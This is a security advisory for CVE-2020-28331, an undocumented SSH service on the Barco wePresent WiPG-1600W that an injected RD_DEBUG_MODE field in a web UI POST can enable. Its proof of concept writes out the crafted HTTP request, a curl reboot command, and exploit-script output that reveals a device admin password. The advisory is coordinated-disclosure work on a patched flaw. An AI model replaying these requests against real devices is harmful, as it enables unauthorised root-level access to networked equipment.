Barco wePresent Undocumented SSH Interface Accessible Via Web UI

Vulnerability Details

Affected Vendor: Barco
Affected Product: wePresent WiPG-1600W
Affected Version: 2.5.1.8
Platform: Embedded Linux
CWE Classification: CWE-284: Improper Access Control
CVE ID: CVE-2020-28331

Vulnerability Description

The Barco wePresent device has an SSH daemon included in the
firmware image. By default, the SSH daemon is disabled and does
not start at system boot. The system initialization scripts read
a device configuration file variable to see if the SSH daemon
should be started. The web interface does not provide a visible
capability to alter this configuration file variable. However,
a malicious actor can include this variable in a POST such
that the SSH daemon will be started when the device boots.

Technical Description

The Barco wePresent web UI does not appear to have configuration
options/settings for enabling the SSH service or configuring
system-level accounts on the device. The device does
not have a SSH daemon listening by default. In looking at
the unpacked firmware, there is an SSH daemon init script
(/etc/init.d/S41ssh). The init script starts the SSH daemon
only if a specific value from the device’s configuration is
set to “1”. Excerpts from the init script:

mode=$(/mnt/AwGetCfg get RD_DEBUG_MODE)

runprocess() {
if [ “$mode” = “1” ]; then
echo “dropbear running” /usr/bin/dropbear
fi
}

The AwGetCfg binry reads the /etc/content/AwDefault.xml file,
and there is a RD_DEBUG_MODE value set in that file. By default
RD_DEBUG_MODE is set to “0” in the firmware.

While the web pages in the web UI do not have apparent ways
to enable SSH, other configuration settings that appear in
the /etc/content/AwDefault.xml file can be modified by the web
UI. So, a configuration change originating from the UI can be
intercepted and modified to set RD_DEBUG_MODE to 1.

Many (all?) configuration changes to the device require a reboot
to take effect. So, another POST has to be sent, using the
“SEID” to reboot the device. After the device comes back up,
the SSH service is indeed running and accepting connections.

The root user is the only system level user that is present
in the firmware by default. A hash for the root account is
present in the /etc/shadow file, but has been resistant to
being cracked thus far.

Mitigation and Remediation Recommendation

The vendor has released an updated firmware (2.5.3.12) which
remediates the described vulnerability. Firmware and release
notes are available at:

https://www.barco.com/en/support/software/R33050104

Credit

This vulnerability was discovered by Jim Becher (@jimbecher) of
KoreLogic, Inc.

Disclosure Timeline

2020.08.24 - KoreLogic submits vulnerability details to
Barco.
2020.08.25 - Barco acknowledges receipt and the intention
to investigate.
2020.09.21 - Barco notifies KoreLogic that this issue,
along with several others reported by KoreLogic,
will require more than the standard 45 business
day remediation timeline. Barco requests to delay
coordinated disclosure until 2020.12.11.
2020.09.23 - KoreLogic agrees to 2020.12.11 coordinated disclosure.
2020.09.25 - Barco informs KoreLogic of their intent to acquire
CVE number for this vulnerability.
2020.11.09 - Barco shares CVE number with KoreLogic and announces
their intention to release the updated firmware
ahead of schedule, on 2020.11.11. Request that KoreLogic
delay public disclosure until 2020.11.20.
2020.11.11 - Barco firmware release.
2020.11.20 - KoreLogic public disclosure.

Proof of Concept

$ nmap 192.168.2.200

Nmap scan report for 192.168.2.200
Host is up (0.0035s latency).
Not shown: 988 closed ports
PORT STATE SERVICE
80/tcp open http
389/tcp open ldap
443/tcp open https
515/tcp open printer
1688/tcp open nsjtp-data
3268/tcp open globalcatLDAP
4001/tcp open newoak
5566/tcp open westec-connect
6000/tcp open X11
7000/tcp open afs3-fileserver
7100/tcp open font-service
8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 0.17 seconds

To enable SSH service, authenticate to the wePresent
device and click apply (does not even have to be
an actual configuration change). In the POST add
“<name>RD_DEBUG_MODE</name><value>1</value>”

POST /cgi-bin/return.cgi HTTP/1.1
Host: 192.168.2.200
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: /
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Cache-Control: no-cache
Content-Length: 520
Origin: https://192.168.2.200
Connection: close
Referer: https://192.168.2.200/cgi-bin/web_index.cgi?lang=en&src=AwDevice.html&rjviSfqdmPuWrZ7z

command=<Send><seid>rjviSfqdmPuWrZ7z</seid><name>WL_PAIRING_ONOFF</name><value>0</value><name>NTP_SYNC</name><value>1</value><name>NTP_SERVER_IP</name><value></value><name>TIME_ZONE</name><value>GMT-8_CH</value><name>PREF_LOGINCODE</name><value>2</value><name>VIDEO_OUT</name><value>4</value><name>VIDEO_RES</name><value>7</value><name>PREF_UNIVERSAL_LOGINCODE</name><value>2113</value><name>ENABLE_DST</name><value>1</value><name>IOS_AIRPLAY_ONOFF</name><value>1</value><name>RD_DEBUG_MODE</name><value>1</value></Send>

And then issue a reboot to the device:
$ curl -k -X POST https://192.168.2.200/cgi-bin/return.cgi -d ‘command=<Send><seid>rjviSfqdmPuWrZ7z</seid><Factory>reboot</Factory></Send>’
<return><Factory>RebootOK</Factory></return>

The above steps can be captured in a Python script
(a different SEID was generated by the device):

user@machine:~/wepresent$ ./WePwn.py -h 192.168.2.200
[+] Admin password is: W3Pr3s3nt
[+] SEID is: PqhXbb4jQ2g8T4ss
[+] Enabling SSH Daemon
[+] Rebooting device
[+] Waiting for 60 seconds while device reboots
10…20…30…40…50…60

After the device reboots, the SSH daemon is now running and
listening on port 22/tcp.

$ nmap 192.168.2.200

Nmap scan report for 192.168.2.200
Host is up (0.0037s latency).
Not shown: 987 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
389/tcp open ldap
443/tcp open https
515/tcp open printer
1688/tcp open nsjtp-data
3268/tcp open globalcatLDAP
4001/tcp open newoak
5566/tcp open westec-connect
6000/tcp open X11
7000/tcp open afs3-fileserver
7100/tcp open font-service
8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 0.15 seconds